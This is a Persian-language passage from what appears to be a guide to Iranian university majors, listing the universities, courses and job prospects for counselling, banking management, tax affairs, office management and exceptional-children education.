    ۱۷ تاریخ عمومی جهان تا معاهده وستفالی ۱۸ تجزیه و تحلیل سیاست خارجی
    ۱۹ جامعه شناسی سیاسی ۲۰ جغرافیای سیاسی
    ۲۱ حقوق بین الملل از دیدگاه اسلامی ۲۲ حقوق بین المللی خصوصی
    ۲۳ حقوق بین المللی عمومی ۱ ۲۴ حقوق بین المللی عمومی ۲
    ۲۵ حقوق دیپلماتیک و کنسولی ۲۶ حقوق مدنی
    ۲۷ دین شناسی تطبیقی ۲۸ رساله (پایان نامه )
    ۲۹ روابط خارجی ایران از انقراض قاجاریه ۳۰ روابط خارجی ایران از صفویه تا پایان قاجاریه
    ۳۱ روابط فرهنگی بین الملل ۳۲ روانشناسی سیاسی
    ۳۳ روش تحقیق در علوم سیاسی ۳۴ زبان تخصصی ۱
    ۳۵ زبان تخصصی ۲ ۳۶ زبان تخصصی ۳
    ۳۷ زبان تخصصی ۴ ۳۸ زبان تخصصی ۵
    ۳۹ زبان عمومی ۱ ۴۰ زبان عمومی ۲
    ۴۱ زبان عمومی ۳ ۴۲ سازمان و مدیریت
    ۴۳ سازمانهای بین اللملی ۴۴ سمینار مسائل روز
    ۴۵ سیاست خارجی جمهوری اسلامی ایران ۴۶ سیاست خارجی آمریکا از جنگ جهانی دوم تا امروز
    ۴۷ سیاست خارجی شوروی از ۱۹۱۷ ۴۸ سیاست و حکومت ۱
    ۴۹ سیاست و حکومت ۲ ۵۰ سیاست و حکومت در اسلام
    ۵۱ سیاستهای تطبیقی ۵۲ مبانی جامعه شناسی عمومی
    ۵۳ مبانی علم سیاست ۵۴ مبانی علم اقتصاد ( اقتصاد کلان)
    ۵۵ مبانی علم اقتصاد (اقتصاد خرد) ۵۶ مبانی و کلیات حقوق
    ۵۷ مسائل خلیج فارس ۵۸ مسائل سیاسی و اقتصادی نفت
    ۵۹ مسایل نظامی و استراتژیک معاصر ۶۰ منطق
    ۶۱ کارورزی ۶۲ کلیات حقوق اساسی و حقوق اساس جمهوری اسلامی ایران

    صنعت و بازارکار
    فارغ التحصیلان این دوره قادر خواهند بود با کسب مهارتهای لازم در کادر وزارت امور خارجه و یا نمایندگیهای جمهوری اسلامی ایران در خارج از کشور و دیگر نهادهای بین ا لمللی انجام وظیفه نموده اهداف و سیاست خارجی جمهوری اسلامی را تحقق بخشند.

  15. رشته راهنمایی و مشاور
    شرط اساسی زندگی توام با آسایش، نشاط، پیشرفت و موفقیت و رشد و کمال برخورداری از سلامت، بهداشت، و امنیت جسمانی و روانی و اجتماعی است. لیکن تغییر و تحولات سریع علمی و تکنولوژی، تغییر و تحولات اقتصادی، اجتماعی و فرهنگی، پیش آمدهای غیر منتظره از قبیل جنگ، زلزله، بیماری و تصادف، پیچیدگی ارتباطات اجتماعی و تهاجم فرهنگی در عصر کنونی مشکلات گوناگونی در زمینه‌های معیشتی، تحصیلی، شغلی، خانوادگی، تصمیم‌گیری، ارتباطی، عاطفی، روانی رفتاری و اخلاقی برای بسیاری از افراد در همه جوامع از جمله مردم کشور ما به وجد آورده است و سلامت بهداشت و امنیت جسمانی روانی و اجتمعای آنان را دچار آسیب کرده است. برای جلوگیری و حل و رفع این مشکلات و سازگاری و برخورد موثر و منطقی با موقعیت‌های گوناگون زندگی و تامین بهداشت و سلامتی جسمانی، روانی و اجتماعی افراد جامعه متخصصین حرفه‌های یاورانه به ویژه متخصصان راهنمایی و مشاوره می‌توانند کمک‌های شایان توجهی ارائه کنند.
    بنابراین در برنامه‌های توسعه اقتصادی ، اجتماعی و فرهنگی هر کشور باید به فراهم ساختن شرایط وسایل و امکانات مربوط به ارائه خدمات متخصصین حرفه‌های یاورانه از جمله راهنمایی و مشاوره توجه کافی مبذول گردد. از آنجاییکه موفقیت و کارآیی موسسات و مراکز ارائه کننده خدمات یاورانه به مراجعان درگرو داشتن متخصصین لایق و کارآمد در حرفه‌های یاورانه است، تربیت نیروی انسانی واجد شرایط و کارآمد در این حرفه‌ها و از جمله راهنمایی و مشاوره از اهمیت فراوانی برخوردار است. برنامه دوره کارشناسی راهنمایی و مشاوره به همین دلیل و برای تربیت و تامین نیروی انسانی لایق و کارآمد برای ارائه خدمات راهنمایی و مشاوره در مراکز و موقعیت‌های گوناگون با استفاده از همکاریهای صاحبنظران با تجربه به این رشته در کشور تهیه و تدوین شده است. رشته راهنمایی و مشاوره یکی از دوره‌های کارشناسی در نظام آموزش عالی است و هدف از تاسیس آن تربیت متخصصان و کارشناسانی است مومن، معتقد به اسلام و انقلاب اسلامی و ولایت فقیه، که بتوانند تصدی امر راهنمایی و مشاوره یا فعالیت‌های پرورشی را در هسته‌های مشاوره، مدارس، مراکز تربیت معلم دانشسراها و سایر موسسات اموزشی و تربیتی، بنیادها بر عهده بگیرند. همه افراد در جریان زندگی خودشان با مسائل و مشکلات متنوعی روبرو میشوند، کودکان نوجوانان و جوانان که این دوره از زندگی آنان با دوران تحصیل در مدارس ابتدایی، راهمایی و متوسطه و دانشگاه مصادف است به علت تجارب کمتر و بحرانهای خاص این دوره‌ها در جریان برخورد و برطرف ساختن مشکلات و مسائل شخصی و اجتماعی با دشواریهای بیشتری روبرو میشوند و این امر علاوه بر تاثیر گذاردن بر جریان زندگی عادی و معمولی آنان برجریان تحصیلی آنان نیز اثر می گذارد و چنانچه خدمات راهنمایی و مشاوره در دسترس آنها باشد با استفاده از این خدمات طرز حل و رفع و بطرف کردن بسیاری از مسائل و مشکلات و موانع را یادگرفته و از زندگی احساس رضایت و خرسندی نموده و سازش بهتر و بیشتری با خود و زندگی خواهند داشت و در نتیجه رشد شخصیتی سالم برای آنان تسهیل خواهد شد و سلامت شخصیت آنان کمتر در معرض ناهنجاری و بیماری قرار خواهد گرفت.
    علاوه بر این نوجوانان و جوانان در این دوره از زندگی با انتخاب رشته تحصیلی و شغل که از مهمترین انتخابهای سرنوشت ساز و تعیین کننده در زندگی فردی و اجتماعی فرد هستندمواجهند و در دنیای کنونی به علت تعدد و تنوع رشته‌های تحصیلی و کثرت و تعدد مشاغل و تخصصی بودن آنها این انتخابها برای همه افراد به ویژه نوجوانان و جوانان آسان نمی‌باشد. و چنانچه خدمات مشاوره‌ای و پرورشی در دسترس افراد خصوصاً نوجوانان و جوانان قرار داشته باشد به وسیله راهنمایان و مشاوران آموزش دیده و مجرب قادر خواهند بود با شناخت خودشان و پی بردن به استعدادها، علایق، هدفها نیازهایشان و همچنین شناخت رشته‌های تحصیلی و مشاغل مختلف و نیازهای جامعه در انتخاب رشته تحصیلی و شغل مناسب یاری شوند که در نتیجه از بسیاری از ضایعات که ناشی از انتخاب نادرست رشته تحصیلی و یا شغل میباشد و سازمانها دولتی یا خصوصی عهده‌دار شوند.
    متوسط طول دوره کارشناسی راهنمایی و مشاوره ۴ سال و حداکثر آن ۶ سال خواهد بود و دانشجویان در طی آن آموزشهای نظری و عملی لازم برای کسب تواناییهای ضروری در انجام وظائف راهنمایی و مشاوره یا فعالیت‌های پرورشی را بر اساس آیین‌نامه‌های مصوب شورای عالی انقلاب فرهنگی و شورای عالی برنامه‌ریزی فراخواهند گرفت.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- اسلامشهر *
    ۲ آزاد- بهبها ن *
    ۳ آزاد- تهران *
    ۴ آزاد- خمینی شهر *
    ۵ آزاد- رودهن *
    ۶ آزاد- زرند *
    ۷ آزاد- شبستر *
    ۸ آزاد- شهرکرد *
    ۹ آزاد- قوچان *
    ۱۰ آزاد- مرودشت *
    ۱۱ آزاد- مهاباد *
    ۱۲ آزاد-ابهر *
    ۱۳ آزاد-بوشهر *
    ۱۴ الزهرا تهران *
    ۱۵ بندرعباس *
    ۱۶ تهران *
    ۱۷ خوارزمی *
    ۱۸ رازی کرمانشاه *
    ۱۹ شهیدچمران اهواز *
    ۲۰ صنعتی اصفهان *
    ۲۱ علامه طباطبائی *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ فارسی ۲ آسیب شناسی اجتماعی
    ۳ آسیب شناسی روانی ۱ ۴ آسیب شناسی روانی ۲
    ۵ آسیب‌شناسی اجتماعی ۶ آسیب‌شناسی روانی ۱
    ۷ آسیب‌شناسی روانی ۲ ۸ آشنایی با قرآن ۱
    ۹ آشنایی با قرآن ۲ ۱۰ آشنایی با کامپیوتر
    ۱۱ آشنایی با کتاب و کتابخانه ۱۲ آمار استنباطی
    ۱۳ آمار توصیفی ۱۴ آموزش ابتدایی راهنمایی متوسطه
    ۱۵ آموزش و پرورش ابتدائی، راهنمایی و متوسطه ۱۶ آیین نگارش و فن سخنوری
    ۱۷ اختلالات یادگیری ۱۸ ادبیات کودکان و نوجوانان
    ۱۹ اصول و فلسفه آموزش و پرورش ۲۰ اصول و فلسفه تعلیم و تربیت
    ۲۱ انسان از دیدگاه اسلام ۲۲ انقلاب اسلامی و ریشه‌های آن
    ۲۳ بازی و حرکت درمانی ۲۴ بهداشت روانی
    ۲۵ بهداشت و کمکهای اولیه ۲۶ پروژه تحقیقاتی
    ۲۷ تاریخ اسلام ۲۸ تربیت بدنی ۲
    ۲۹ تمرین عملی راهنمائی مشاوره ۲ (فعالیت مشاوره ) ۳۰ تمرین عملی راهنمایی و مشاوره ۱ (فعالیت‌ راهنمای
    ۳۱ تولید و کاربرد مواد آموزشی ۳۲ جامعه شناسی آموزش و پرورش
    ۳۳ جامعه شناسی عمومی ۳۴ جمعیت و تنظیم خانواده
    ۳۵ خانواده در اسلام و ایران ۳۶ راهنمایی و مشاوره تحصیلی
    ۳۷ راهنمایی و مشاوره شغلی و نظریه ۳۸ راهنمایی و مشاوره گروهی
    ۳۹ روابط انسانی در مدرسه ۴۰ روان شناسی اجتماعی
    ۴۱ روان شناسی اجتماعی ۴۲ روان شناسی و آموزش و پرورش افراد استثنائی
    ۴۳ روان شناسی یادگیری ۴۴ روان‌شناسی از دیدگاه دانشمندان اسلامی
    ۴۵ روان‌شناسی تربیتی ۴۶ روان‌شناسی رشد ۱ (کودکی و نوجوانی)
    ۴۷ روان‌شناسی رشد ۲ (جوانی، بزرگسالی و پیری) ۴۸ روان‌شناسی شخصیت
    ۴۹ روان‌شناسی عمومی ۵۰ روانشناسی اجتماعی در تعلیم و تربیت
    ۵۱ روانشناسی از دیدگاه اسلام ۵۲ روانشناسی تربیتی
    ۵۳ روانشناسی رشد نوجوانی ۲ ۵۴ روانشناسی رشد کودکی ۱
    ۵۵ روانشناسی عمومی ۵۶ روانشناسی و آموزش افراد استثنایی
    ۵۷ روش تحقیق در علوم تربیتی و روان شناسی ۵۸ روشها و فنون تدریس
    ۵۹ روشها و فنون راهنمایی و مشاوره ۶۰ روشهای آماری
    ۶۱ روشهای آماری در علوم تربیتی ۶۲ روشهای اصلاح رفتار
    ۶۳ روشهای تغییر و اصلاح رفتار ۶۴ ریاضیات پایه
    ۶۵ ریاضیات پایه و مقدمات آمار ۶۶ ریاضیات پیش دانشگاهی
    ۶۷ زبان پیش دانشگاهی ۱ ۶۸ زبان پیش دانشگاهی ۲
    ۶۹ زبان خارجی عمومی ۷۰ زبان فارسی
    ۷۱ زیست شناسی عمومی ۷۲ سازمان و قوانین آموزش پرورش
    ۷۳ سرودها و آهنگهای انقلابی ۷۴ سنجش و اندازه‌گیری در علوم تربیتی
    ۷۵ سنجش و اندازه‌گیری در علوم تربیتی و روانشناسی ۷۶ سیره تربیتی پیغمبر و ائمه علیه‌السلام
    ۷۷ شخصیت نظریه‌ها و مفاهیم ۷۸ فعالیت های گروهی
    ۷۹ فیزیولوژی اعصاب ۸۰ فیزیولوژی انسان (اعصاب و غدد)
    ۸۱ مبانی تحلیل سیاسی ۸۲ مبانی جامعه شناسی
    ۸۳ مبانی راهنمایی و مشاوره ۸۴ مبانی کامپیوتر
    ۸۵ متون اسلامی (آیات و احادیث) ۸۶ متون زبان تخصصی
    ۸۷ متون عربی ۸۸ مددکاری اجتماعی
    ۸۹ مسائل نوجوانان و جوانان ۹۰ مشاوره خانواده
    ۹۱ مشاوره و راهنمایی تحصیلی ۹۲ معارف اسلامی ۲
    ۹۳ مقدمات تحقیق در علوم تربیتی ۹۴ مقدمات مدیریت آموزش و پرورش
    ۹۵ مقدمات مدیریت آموزشی ۹۶ مقدمات کامپیوتر
    ۹۷ نظریه‌های مشاوره و روان درمانی ۹۸ هنرهای نمایشی
    ۹۹ ورزش و بازیهای تربیتی ۱۰۰ کاربرد آزمونهای تشخیص و شخصیت
    ۱۰۱ کاربرد آزمونهای تشخیصی و شخصیت در مشاوره ۱۰۲ کاربرد آزمونهای هوش استعداد
    ۱۰۳ کاربرد آزمونهای هوش، استعداد و رغبت در مشاوره ۱۰۴ کارورزی ۱
    ۱۰۵ کارورزی ۲ ۱۰۶ کارورزی در مشاوره ۱
    ۱۰۷ کارورزی در مشاوره ۲

    صنعت و بازارکار
    فارغ التحصیلان این رشته مهم که حتماً باید با علاقه و داشتن ذوق درونی خود نسبت به اصلاح و راهنمائی مردم این رشته را انتخاب کرده باشند اولین جائی که می توانند نقش مفیدی ایفا کنند خانواده خودشان است و برای امرار معاش می توان به اشتغال در مراکز مشاوره خصوصی و دولتی- مدارس- ادارات و وزارتخانه ها- مراکز فرهنگی- شهرداری- بعضی از بیمارستان ها و درمانگاه ها اشاره کرد.

  16. مدیریتم امور بانکی
    اداره اقتصاد یک کشور از طریق کنترل مالی و پولی آن امکان پذیر است و باید طبق برنامه ریزی های مشخص و هدف دار جلو رفته، با کنترل و نظارت بسیار دقیق خاتمه یابد. برنامه ریزی های مالی و پولی باعث می شود که منابع مختلف و نیروی انسانی موجود بطور هماهنگ به طریقه سالم در جامعه به کار افتد و ضمن ارائه حداکثر کارائی، نتایج از پیش تعیین شده نیز حاصل شود.بانکداری در هر کشور یکی از ابزارهای مهم در اجرای سیاست های پولی بوده و در عین حال بهترین منبع آمار و اطلاعات جهت سیاستگذاریهای مذکور است. تجزیه و تحلیل دقیق عملکرد بانکها، چگونگی اجرای سیاستهای پولی را نشان داده، علل عدم کاربرد بعضی از خط مشی ها را بخوبی کشف می کند و در اختیار قرار می دهد.
    رشته مدیریت امور بانکی بر حسب مشاغل بسیار متنوعی که فارغ التحصیلان آن در بانکها عهده دار می شوند به حوزه های وسیع بانکداری داخلی (سازماندهی مدیریت شعب، اعتبارات، اطلاعات، سرمایه گذاری، روابط عمومی، خدمات و …) و بانکداری بین المللی (واردات، صادرات، اعتبار، اسناد و …) تقسیم می شود که برای هر یک از این حوزه ها اطلاعات و معلومات مشترک و اختصاصی مورد نیاز است.
    ضرایب دروس دبیرستانی مربوط به این رشته در آزمون ورودی دانشگاهها و مؤسسات آموزش عالی عبارتند از:
    ضریب ۴ برای درس ریاضی، ضریب ۲ برای درس اقتصاد، ضریب ۲ برای درس ادبیات فارسی، ضریب ۱ برای زبان عربی، ضریب ۱ برای درس تاریخ و جغرافیا، ضریب ۱ برای درس علوم اجتماعی، ضریب ۱ برای درس فلسفه و ضریب ۱ برای درس روانشناسی.
    علاقه به مسائل مدیریتی و اقتصادی و همچنین داشتن پایه قوی در ریاضیات و آمار می تواند از عوامل موفقیت در این رشته باشد .

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- الیگودرز *
    ۲ آزاد- بابل *
    ۳ آزاد- بندر لنگه *
    ۴ آزاد- تفرش *
    ۵ آزاد- تهران *
    ۶ آزاد- دهاقان *
    ۷ آزاد- فراهان * ‌
    ۸ وزارت اقتصاد *

    درسهای رشته

    ردیف نام درس درس نام درس
    ۱ آمار و کاربرد آن در مدیریت ۲ ارزیابی طرحهای اقتصادی
    ۳ اصول بانکداری ۴ اصول حسابداری ۱
    ۵ اصول حسابداری ۲ ۶ اقتصاد خرد
    ۷ اقتصاد کلان ۸ امور مالی بین المللی
    ۹ انقلاب اسلامی و ریشه‌های تاریخی آن ۱۰ بانکداری داخلی (۱)
    ۱۱ بانکداری داخلی (۲) ۱۲ پژوهش عملیاتی ۱
    ۱۳ پژوهش عملیاتی ۲ ۱۴ پول و بانک
    ۱۵ تاریخ اسلام ۱۶ تربیت بدنی ۲
    ۱۷ تربیت بدنی ۱ ۱۸ توسعه اقتصادی و برنامه‌ریزی
    ۱۹ جغرافیای اقتصادی ایران ۲۰ حسابداری صنعتی ۱
    ۲۱ حسابداری مالیاتی ۲۲ حسابرسی داخلی بانکها
    ۲۳ حسابرسی قسمت اول ۲۴ حقوق اساسی
    ۲۵ حقوق تجارت ۲۶ حقوق و مقررات مدنی
    ۲۷ روانشناسی عمومی ۲۸ روشهای تحقیق و ماخذشناسی
    ۲۹ ریاضیات و کاربرد آن در مدیریت (۱) ۳۰ ریاضیات و کاربرد آن در مدیریت (۲)
    ۳۱ زبان تخصصی بانکداری (۱) ۳۲ زبان تخصصی بانکداری (۲)
    ۳۳ زبان خارجی عمومی ۳۴ سازمانهای پولی و مالی بین المللی
    ۳۵ فارسی عمومی ۳۶ فراگرد تنظیم کنترل بودجه دولتی
    ۳۷ مالیه عمومی و خط مشی مالی دولت ها ۳۸ مبانی سازمان و مدیریت
    ۳۹ مبانی و کاربرد کامپیوتر در مدیریت ۴۰ متون اسلامی (آیات و احادیث)
    ۴۱ مدیریت رفتار سازمانی ۴۲ مدیریت مالی (۱)
    ۴۳ مدیریت مالی (۲) ۴۴ مدیریت منابع انسانی
    ۴۵ معارف اسلامی ۲ ۴۶ نظریه های پول

    صنعت و بازارکار
    فارغ‌التحصیلان این رشته می توانند ایفاگر فعالیت‌های زیر باشند:
    انجام کلیه امور حسابداری در شعب و مؤسسات وابسته به بانکها.
    تصدی مدیریت مالی در شرکتهای مورد سرمایه گذاری بانکها.
    انجام وظایف مختلف بانکداری از سطوح مسئول دوایر در شعب و تا سطوح رؤسای شعب و سرپرستی‌ها بطور تدریجی همراه با کسب تجربه.
    کار در ادارات ، سازمانها و روشها بعنوان طراح و یا مجری طرحها و روشهای جدید بانکداری.
    انجام سایر امور در ادارات ستادی بانکها.
    مسؤلیت در سایر سطوح مدیریت بانکها پس از کسب تجربه و تواناییهای کافی و تدریجی .

  17. رشته کاردانی امور مالی و مالیاتی
    وضعیت اقتصاد و چرخش مسائل پولی و مالی در کشورها به طور کلی به سمتی حرکت کرده که مالیات جزء جدا ناپذیری است از اقتصاد سالم کشورها . کشورهایی که مالیات در آنها جریان دارد در واقع سازندگی و آبادانی و در آن کشورها نهادینه شده است. دوره کاردانی امورمالی ومالیاتی یکی از دوره های تحصیل آموزش عالی است و هدف از آن آموزش و تربیت افرادی است که پس از یک آموزش دو ساله نظری و عملی قسمتی از نیازهای وزارتامور اقتصادی و دارایی را در زمینه های مالیاتی تامین نمایند.
    طول دوره و شکل نظام:
    طول دوره کاردانی امور مالی و مالیاتی ۵/۲ سال است و کلیه دروس رسمی آن در مدت ۵ نیمسال ارائه و برگزار می گردد. طول هر نیمسال ۱۷ هفته می باشد.
    علاوه بر این دانشجویان در تمام مدت تحصیل صبحها موظفند زیر نظر مرکز آموزش عالی در مراکز مالی کارآموزی نمایند و کلاسهای آنان در بعد از ظهرها تشکیل می گردد .

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- تهران مرکزی *
    ۲ آزاد- رودهن *
    ۳ آزاد- نجف آباد * ‌

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آمار و کاربرد آن در مدیریت ۲ آیین نگارش
    ۳ اصول بایگانی و مدیریت اسناد ۴ اصول حسابداری ۱
    ۵ اصول حسابداری ۲ ۶ اصول حسابداری ۳
    ۷ اصول علم اقتصاد ۱ ۸ اصول علم اقتصاد ۲
    ۹ برنامه نویسی به زبان کوپال و کاربرد آن در حسابداری ۱۰ جغرافیای اقتصادی ایران
    ۱۱ حسابداری صنعتی ۱ ۱۲ حسابداری میانه ۱
    ۱۳ حسابداری دولتی ۱ ۱۴ حسابداری صنعتی ۲
    ۱۵ حسابرسی ۱ ۱۶ حسابرسی مالیاتی
    ۱۷ حقوق اساسی و آشنایی با تشکیلات دولت جمهوری اسلامی ۱۸ حقوق بازرگانی ۱۹ ریاضیات پایه
    ۲۰ ریاضیات پیش دانشگاهی ۲۱ عملیات بانکی
    ۲۲ قانون مالیاتها ۱ ۲۳ قانون مالیاتها ۲
    ۲۴ قانون مالیاتها ۳ ۲۵ قانون مالیاتها ۴
    ۲۶ مالیه عمومی و خط مشی مالی دولت ها ۲۷ مبانی و کاربرد کامپیوتر در مدیریت
    ۲۸ کلیات حقوق ومقررات مدنی

    صنعت و بازارکار

    فارغ التحصیلان دوره کاردانی امور مالی و مالیاتی قادر به انجام فعالیتها و تصدی مشاغل زیر خواهند بود:
    ۱- کمک ممیز
    ۲- ممیز
    ۳- سرممیز
    ۴- ممیز کل
    ۵- رئیس یا معاون جزئی واحدهای مالیاتی – مالی و اداری و قسمت وصول
    سایر مشاغل:
    طبیعت رشته و دروس پیشنیاز به نحوی تنظیم گردیده که جدا از حوزه وزارت امور اقتصادی و دارایی فارغ التحصیلان این دوره بتوانند در حد مشاغل مورد نظر برای فوق دیپلم حسابداری مصوب شورایعالی برنامه ریزی نقش داشته باشند.

  18. ماهیت نظام مقدس جمهوری اسلامی ایران و ضرورت خدمت به مردم وجود یک نظام اداری صحیح و منظم را اجتناب ناپذیر می کند. در این رابطه نقش مدیران، روسای ادارات، نهادها و موسسات گوناگون به علاوه نقشی که مدیران امور دفتری این موسسات و نهادها می توانند ایفا کنند قابل توجه است. بدین منظور و جهت تسریع در انجام امور دفتری و عدم اشتغال مدیران به امور کم اهمیت تر و پرداختن به امور مهمه و تنظیم روابط مدیران با موضوعات متفاوت تربیت مدیران دفتر متبحر و متخصص ضروری می نماید. از این رو رشته مدیریت امور دفتری با هدف تربیت مدیرانی کاردان و مجرب با تواناییهای لازم برای مدیریت و آشنایی با فنونی چون ماشین نویسی، کاربرد ماشینهای اداری، ماشینهای حساب، کامپیوتر و … تاسیس شده است. فارغ التحصیلان رشته مذکور از این مزیت عمده برخوردارند که علاوه بر آشنایی با فنون فوق و اصول مدیریت ، راههای صحیح برخورد با ارباب رجوع را آموخته و موجبات انجام سریع و صحیح امور مردم را فراهم خواهند کرد. پس به طور کلی برنامه این دوره به نحوی تنظیم شده است که اهداف زیر هماهنگ با یکدیگر تامین گردد:
    ۱- تربیت کاردانانی که از طریق آشنایی و عمل به مبانی و اصول اخلاقی قادر به مدیریت صحیح و عملی دفاتر بزرگ و عظیم اداری، شرکتهای تجاری و بازرگانی و … باشند.
    ۲- تربیت کاردانانی که از طریق آشنایی با اصول و مبانی مدیریت اداری بتوانند در راه تحول نظام اداری و تقلیل بروکراسی کاذب به مفهوم کاغذ بازی های بی مورد نقش عمده و اساسی ایفا کنند.
    ۳- ایجاد جو تفاهم و پیوند بین مردم و مدیران به گونه ای که نهایت رعایت وقت مردم و مدیران بشود.
    ۴- فراهم آوردن زمینه هماهنگی و تفاهم در مدیریت قسمتهای مختلف اداره، موسسه، سازمان و …
    ۵- تامین بنیه علمی لازم برای ادامه تحصیلات و کسب تخصص در سطوح بالاتر در داخل و خارج از کشور

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- تربت جام *
    ۲ آزاد- سنندج *
    ۳ آزاد- شوشتر *
    ۴ آزاد- قروه *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آمار و روش تحقیق ۲ اصول بایگانی
    ۳ اصول علم اقتصاد ۴ اصول مدیریت
    ۵ امور عمومی بازرگانی ۶ انگلیسی عمومی ۲
    ۷ انواع مکاتبات، نامه نگاری و نثر اداری ۸ تندنویسی انگلیسی
    ۹ جامعه شناسی عمومی ۱۰ جامعه شناسی اداری
    ۱۱ حسابداری ۱۲ حقوق اداری
    ۱۳ دستور زبان فارسی و آئین نگارش ۱۴ دفتر ادرای
    ۱۵ روانشناسی اجتماعی ۱۶ ریاضیات
    ۱۷ زبان تخصصی ۱ ۱۸ زبان تخصصی ۲
    ۱۹ سیر تحول علم ۲۰ فن بیان و آئین سخنوری
    ۲۱ ماشین نویسی ۱ ۲۲ ماشین نویسی ۲
    ۲۳ ماشینهای اداری و ارتباطی ۲۴ مبانی علم سیاست
    ۲۵ مبانی کامپیوتر و برنامه ریزی ۲۶ مکالمه انگلیسی
    ۲۷ کارگاه کامپیوتر و کاروزی با ماشینهای محاسب و الکتر ۲۸ کارورزی ۱
    ۲۹ کاروزی ۲ و تهیه گزارش ۳۰ کلیات بهداشت فردی و کمکهای اولیه
    ۳۱ کلیات علم حقوق

    صنعت و بازارکار
    فارغ التحصیلان این رشته همانطور که از اسم آن مشخص است به امور دفترداری و منشیگری مشغول می شوند و به اعتبار محلی که در آن کار می کنند شرح وظایف مختلفی برایشان تعریف می شود که همگی آنها در راستای وظایف یک منشی می باشد.
    ????????????????

  19. کودکان استثنایی
    در حدود ۳ درصد افراد هر جامعه مبتلا به نوعی عقب ماندگی ذهنی می باشد ، شناسایی این قبیل کودکان و آموزش و پرورش آنان از ابعاد مختلف حائز کمال اهمیت می باشد.
    در دین مبین اسلام افراد با هر نوع توان و استعداد حق برخورداری از موهبت الهی و حقوق اجتماعی را دارند و استعداد و توان آنها در هر حد و اندازه قابل پرورش و تربیت است بنابر این باید در حکومت جمهوری اسلامی امکانات بهره وری از مواهب الهی را برای همه افراد در سایه تعلیم و تربیت صحیح فراهم نمود. مسئله دیگری که در رابطه با تعلیم و تربیت این گروه مطرح است این است که عدم توجه به تعلیم و تربیت آنان موجب زیانهای اجتماعی و اقتصادی برای جامعه و در واقع هدر رفتن تعداد زیادی از افراد خواهد شد .مضافا باینکه با عنایت به شرایط جسمی و روانی این گروه اگر عدم توجه به آنان باعث انحرافات و اشکالات اجتماعی شود اثر مستقیم آن بر جامعه مترتب خواهد شد که در نزد خداوند مسئول خواهیم بود.
    تعریف و هدف
    کودکان و دانش آموزان استثنایی در پنج گروه مختلف تقسیم می شوند و در هر گروه تحت شرایطی خاص تحت تعلیم قرار می گیرند این پنج گروه عبارتند از :
    ۱-عقب مانده ذهنی و معلول جسمی
    ۲-ناشنوا و نیمه شنوا
    ۳-نابینا و نیمه بینا
    ۴-ناسازگار
    ۵-تیزهوش
    هدف از آموزش و پرورش کودکان و دانش آموزان استثنایی فراهم آوردن فرصتهای مناسب و امکانات آموزشی و یژه بمنظور استفاده از حداکثر توانائیهای ذهنی و جسمی کودکان با توجه به ویژگی های عقلانی و جسمانی آنان می باشد.
    ضرورت و اهمّیت
    با توجه به اینکه بطور متوسط ۳ درصد افراد هر جامعه مبتلا به نوعی عقب ماندگی ذهنی می باشد شناسایی این قبیل کودکان از اهمیت ویژه ای برخوردار است . لذا هدف این دوره تربیت افرادی است که بتوانند آموزش و پرورش کودکان استثنایی را عهده دار گردند.
    طول دوره و شکل نظام
    متوسط طول دوره کارشناسی آموزش و پرورش کودکان استثنایی ۵ سال می باشد (حداقل ۴و حداکثر ۶ سال )و نظام آموزشی آن مطابق آئین نامه مصوب ستاد انقلاب فرهنگی است .
    کلیه دروس در هشت ترم برنامه ریزی شده و طول هر ترم ۱۸ هفته در هر نیمسال تحصیلی است . زمان تدریس هر واحد از نوع نظری ۱۸ ساعت ، از نوع عملی ۳۶ ساعت و کارورزی ۷۲ ساعت است.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- بیرجند *
    ۲ آزاد- تهران مرکزی * *
    ۳ آزاد- دزفول *
    ۴ آزاد- فسا * ‌
    ۵ آزاد-همدان * ‌
    ۶ الزهرا تهران * ‌
    ۷ شهید بهشتی * ‌
    ۸ علامه طباطبائی * ‌
    ۹ فردوسی مشهد * ‌ ‌

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آزمون های تشخیص عقب مانده ذهنی ۲ آشنایی با کتابخانه و اصول کتابداری
    ۳ آموزش بزرگسالان ۴ آموزش و پرورش ابتدایی- راهنمایی- متوسطه
    ۵ آموزش و پرورش تطبیقی ۶ آموزش و پرورش کودکان استثنائی
    ۷ آموزش و پرورش کودکان استثنایی ۱ ۸ آموزش و پرورش کودکان استثنایی ۲
    ۹ اختلالهای رفتاری- عاطفی ۱۰ اختلالهای روانی- حرکتی
    ۱۱ اختلالهای گویایی ۱۲ اختلالهای یادگیری ویژه
    ۱۳ اصول مددکاری اجتماعی ۱۴ اصول و مبانی آموزش و پرورش
    ۱۵ اقتصاد آموزش و پرورش ۱۶ انسان شناسی در اسلام
    ۱۷ بازی و حرکت درمانی ۱۸ بهداشت و کمکهای اولیه
    ۱۹ تاریخ آموزش و پرورش در اسلام و ایران ۲۰ تهیه مواد و وسائل آموزشی وکمک آموزشی
    ۲۱ جامعه شناسی آموزش و پرورش ۲۲ جامعه شناسی عمومی
    ۲۳ روان شناسی اجتماعی ۲۴ روان‌شناسی شخصیت
    ۲۵ روانشناسی تربیتی ۲۶ روانشناسی تفاوتهای فردی
    ۲۷ روانشناسی رشد نوجوانی ۲ ۲۸ روانشناسی رشد کودکی ۱
    ۲۹ روانشناسی عمومی ۳۰ روانشناسی عقب ماندگی ذهنی
    ۳۱ روانشناسی و آموزش کودکان تیزهوش ۳۲ روانشناسی و آموزش کودکان نابینا
    ۳۳ روانشناسی و آموزش کودکان ناشنوا ۳۴ روش تدریس علوم اجتماعی و تجربی
    ۳۵ روش تدریس ریاضی ۳۶ روش تدریس زبان فارسی
    ۳۷ روش های آماری در علوم تربیتی ۳۸ روشها و فنون تدریس
    ۳۹ روشهای بازپروری حرفه ای ۴۰ روشهای تغییر رفتار
    ۴۱ روشهای مشاوره و مصاحبه ۴۲ سنجش اندازه گیری در علوم تربیتی
    ۴۳ فلسفه آموزش و پرورش ۴۴ فیزیولوژی اعصاب
